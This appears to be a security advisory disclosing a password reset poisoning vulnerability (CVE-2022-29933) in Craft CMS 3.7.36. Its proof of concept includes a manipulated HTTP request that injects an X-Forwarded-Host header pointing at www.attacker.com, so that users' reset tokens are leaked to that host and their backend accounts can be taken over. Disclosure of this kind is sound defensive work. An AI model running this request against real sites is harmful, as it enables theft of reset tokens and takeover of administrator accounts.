Password Reset Poisoning Attack in Craft CMS

Vendor description

"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. It features:

• An intuitive, user-friendly control panel for content creation and administrative tasks.
• A clean-slate approach to content modeling and front-end development that doesn’t make any assumptions about your content or how it should be consumed.
• A built-in Plugin Store with hundreds of free and commercial plugins, all just a click away.
• A robust framework for module and plugin development.
• An active, vibrant community."

Source: craftcms.com/docs/3.x/

Business recommendation

The vendor responded that the vulnerability will not be fixed as a workaround is available.

An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description

1) Password Reset Poisoning Attack (CVE-2022-29933)

The password reset function of the Craft CMS backend login page, usually accessible under https:// <hostname>/index.php?p=admin/login, is vulnerable to a password reset poisoning attack. An unauthenticated attacker who knows valid email addresses or account names of Craft CMS backend users is able to manipulate the password reset functionality in a way that the registered users of the CMS receive password reset emails containing a malicious password reset link.

The link contains valid (secret) tokens in the URL's GET parameters that are necessary to authenticate against the server's password reset function and enable a user who lost or forgot the account's password to reset the password. By manipulating the password reset request, an attacker is able to set an arbitrary hostname in the resulting password reset link. Thereby, the attacker can set the link to point to an attacker-controlled host. If a user clicks on the reset link, the valid reset tokens in the GET parameters will be sent to the attacker's web server and can be extracted from the server logs. The attacker is able to build a valid password reset link by adding the tokens to the general reset link structure:

https:// <hostname>/index.php?p=admin/set-password&code=<token1>&id=<token2>

If the attacker calls the filled out URL with a web browser, the attacker will be able to reset the account's password and log in.

Proof of concept

1) Password Reset Poisoning Attack (CVE-2022-29933)

First, the attacker needs to browse the following URL:

https:// <hostname>/index.php?p=admin/login

The login mask contains a link "Forgot your password?". Following this link, the attacker gets prompted to submit a valid account name or email address. After entering the account name or email address and pressing the "Reset Password" button, the attacker can intercept the resulting HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The intercepted request can then be manipulated before getting forwarded to the server. The attacker needs to add the HTTP header.

X-Forwarded-Host: <attacker_host>

...while the value should contain the hostname of the webserver under the attacker's control.

Manipulated Request:

POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1
Host: <IP>
X-Forwarded-Host: www.attacker.com
[...]
Referer: http:// <IP>/index.php?p=admin/login
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Registered-Asset-Bundles: ,craft\web\assets\login\[...]
X-Registered-Js-Files: ,http://<IP>/cpresources/[...]
X-CSRF-Token: c9kEDPROifmFNKSKhght_JgkBgnnk5EfXiH1qHA[...]
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http:// <IP>
Connection: close
Cookie: CRAFT_CSRF_TOKEN=[...]

loginName=test%40example.com

The resulting server response indicates that the request has been processed.

Response:

HTTP/1.1 200 OK
Date: Mon, 14 Mar 2022 08:19:24 GMT
[...]
X-Powered-By: Craft CMS
Content-Length: 16
Connection: close
Content-Type: application/json; charset=UTF-8

{"success":true}

The user will then receive a malicious password reset email pointing to the hostname that the attacker provided by adding the X-Forwarded-Host header.

Email:

Hey Test,

To reset your Test Install password, click on this link:

http:// www.attacker.com/index.php?p=admin/set-password&code=D6HWm7pGpYEt9mb-mPVh4kGzXWZ8ax5u&id=48b9fe48-91c9-430e-baa2-5bdf66c88102

If you were not expecting this email, just ignore it.

If the user is not aware and clicks on the link, the values of the reset tokens  "code" and "id" will be sent to the attacker's web server. The attacker is then able to relay the tokens to the original reset endpoint and reset the password.

Vulnerable / tested versions

The following version has been tested and found to be vulnerable:

• 3.7.36

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